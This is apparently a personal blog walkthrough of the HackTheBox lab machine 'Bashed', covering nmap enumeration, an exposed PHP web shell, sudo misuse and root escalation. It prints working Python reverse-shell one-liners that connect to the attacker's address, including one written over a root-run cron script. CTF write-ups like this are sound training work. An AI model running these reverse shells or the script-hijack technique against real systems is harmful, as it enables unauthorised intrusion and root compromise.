As a career blue teamer I feel it’s important to understand the tools, techniques, and thought processes of an attacker. The best way to learn is by doing, and one of my favorite ways to practice is HackTheBox.
The machine named Bashed was recently retired so walkthroughs for it have been popping up everywhere. This one is mine.
As usual with a HackTheBox target system, all you have at the onset is a name and IP address. My starting point is usually an nmap scan against the target machine’s IP.
nmap -sC -sV -oA nmap 10.10.10.68 Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-12 16:05 EST Nmap scan report for 10.10.10.68 Host is up (0.17s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Arrexel's Development Site Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.71 seconds
Ok, TCP 80 / HTTP is listening. There are several options for investigating further, but before opening a web browser I continued with nmap and ran the http-enum script.
nmap --script http-enum 10.10.10.68 Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-12 16:07 EST Nmap scan report for 10.10.10.68 Host is up (0.17s latency). Not shown: 999 closed ports PORT STATE SERVICE 80/tcp open http | http-enum: | /css/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' | /dev/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' | /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' | /php/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)' |_ /uploads/: Potentially interesting folder Nmap done: 1 IP address (1 host up) scanned in 46.16 seconds
The /dev directory contains a couple of scripts. Visiting http://10.10.10.68/dev/phpbash.php in a browser presented me with a web shell (!). I’m able to navigate the file structure and read the contents of /home. Getting user.txt is a simple exercise at this point.
user = owned
Gaining a Foothold
I need to get a “real” shell on the box to go any further. I choose one of my favorite reverse shell one-liners and see if it will work from the PHP web shell.
First, I’ll need a listener on my local attacker machine:
nc -v -n -l -p 4444
Now I drop this python script directly in the web shell. The ampersand (&) at the end just backgrounds the process.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<my HTB IP address>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
Note that the field “my HTB IP address” would be the 10.10.x.x IP assigned to the VPN interface on my machine (usually tap0 on Kali Linux) when I’m connected to the HTB environment, and the port number (4444) is the same one I used to start the netcat listener in the previous step.
Now I have a reverse shell on the target system, but it’s still limited. I try using python again to escape to a bash shell.
python -c 'import pty; pty.spawn("/bin/bash")'
Great, now I’m at a more typical shell as user www-data. Time to enumerate.
I checked many many things, but looking at sudo capabilities turned up some useful information.
www-data@bashed:/var/www/html/dev$ sudo -l sudo -l Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL
So, my current user (www-data) can run ALL commands as user scriptmanager with no password? I decide to try becoming scriptmanager.
www-data@bashed:/var/www/html/dev$ sudo -i -u scriptmanager sudo -i -u scriptmanager scriptmanager@bashed:~$
From the sudo man page:
-i [command] The -i (simulate initial login) option runs the shell specified by the password database entry of the target user as a login shell. This means that login-specific resource files such as .profile or .login will be read by the shell. If a command is specified, it is passed to the shell for execution via the shell’s -c option. ==If no command is specified, an interactive shell is executed.== sudo attempts to change to that user’s home directory before running the shell. The security policy shall initialize the environment to a minimal set of variables, similar to what is present when a user logs in. The Command Environment section in the sudoers(5) manual documents how the -i option affects the environment in which a command is run when the sudoers policy is in use.
Bingo, now I’m scriptmanager. More enumeration.
scriptmanager@bashed:/var/www/html/dev$ ls -l / ls -l / total 80 drwxr-xr-x 2 root root 4096 Dec 4 11:22 bin drwxr-xr-x 3 root root 4096 Dec 4 11:17 boot drwxr-xr-x 19 root root 4240 Jan 12 20:25 dev drwxr-xr-x 89 root root 4096 Dec 4 17:09 etc drwxr-xr-x 4 root root 4096 Dec 4 13:53 home lrwxrwxrwx 1 root root 32 Dec 4 11:14 initrd.img -> boot/initrd.img-4.4.0-62-generic drwxr-xr-x 19 root root 4096 Dec 4 11:16 lib drwxr-xr-x 2 root root 4096 Dec 4 11:13 lib64 drwx------ 2 root root 16384 Dec 4 11:13 lost+found drwxr-xr-x 4 root root 4096 Dec 4 11:13 media drwxr-xr-x 2 root root 4096 Feb 15 2017 mnt drwxr-xr-x 2 root root 4096 Dec 4 11:18 opt dr-xr-xr-x 122 root root 0 Jan 12 20:24 proc drwx------ 3 root root 4096 Dec 4 13:03 root drwxr-xr-x 18 root root 500 Jan 12 20:25 run drwxr-xr-x 2 root root 4096 Dec 4 11:18 sbin drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 18:06 scripts drwxr-xr-x 2 root root 4096 Feb 15 2017 srv dr-xr-xr-x 13 root root 0 Jan 12 20:24 sys drwxrwxrwt 10 root root 4096 Jan 12 21:07 tmp drwxr-xr-x 10 root root 4096 Dec 4 11:13 usr drwxr-xr-x 12 root root 4096 Dec 4 11:20 var lrwxrwxrwx 1 root root 29 Dec 4 11:14 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
scripts isn’t a typical top-level directory and it’s owned by scriptmanager. I move into the directory and investigate further.
scriptmanager@bashed:/scripts$ ls -al ls -al total 16 drwxrwxr-- 2 scriptmanager scriptmanager 4096 Apr 20 08:14 . drwxr-xr-x 23 root root 4096 Dec 4 13:02 .. -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 17:03 test.py -rw-r--r-- 1 root root 12 Apr 20 08:18 test.txt
Examining these two files leads me to believe that
test.txt containts output from the
test.py script. However,
test.txt is owned by root while the directory it resides in and the
test.py script that generates it are owned by scriptmanager.
This implies that root is executing the script as itself, so the output is written with root ownership. If I can replace
test.py with my own malicious version I can do something on the target machine with root privileges. Reverse shell time!
scriptmanager@bashed:/scripts$ mv test.py old-test.py scriptmanager@bashed:/scripts$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<my HTB IP address>",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > test.py
Here I moved/renamed the existing
test.py and created my own with the reverse shell code. This isn’t necessary, you could just add the reverse shell bits to the end of the existing file.
Again note the “my HTB IP address field” and port number. I want a second reverse shell that’s separate from the one I’m currently working in, so I selected a new port (5555).
I’m not exactly sure how or when root executes the
test.py script. Given the autonomous nature of these HTB systems I assume it’s just a cron job. I start a netcat listener on this new port on my local attacker machine and wait.
After a few minutes…
root = owned
Looking back Bashed was a pretty simple machine, but there were two primary lessons I learned from it:
- Look at the simple or obvious things first. Don’t assume every target is going to require some elaborate, complicated method to exploit.
- Enumerate (a lot) and review the details carefully. It took me way too long to notice the permissions on test.txt and test.py
Did you conquer Bashed using some other method? Feel free to reach out to me on Twitter, I’d love to talk about it.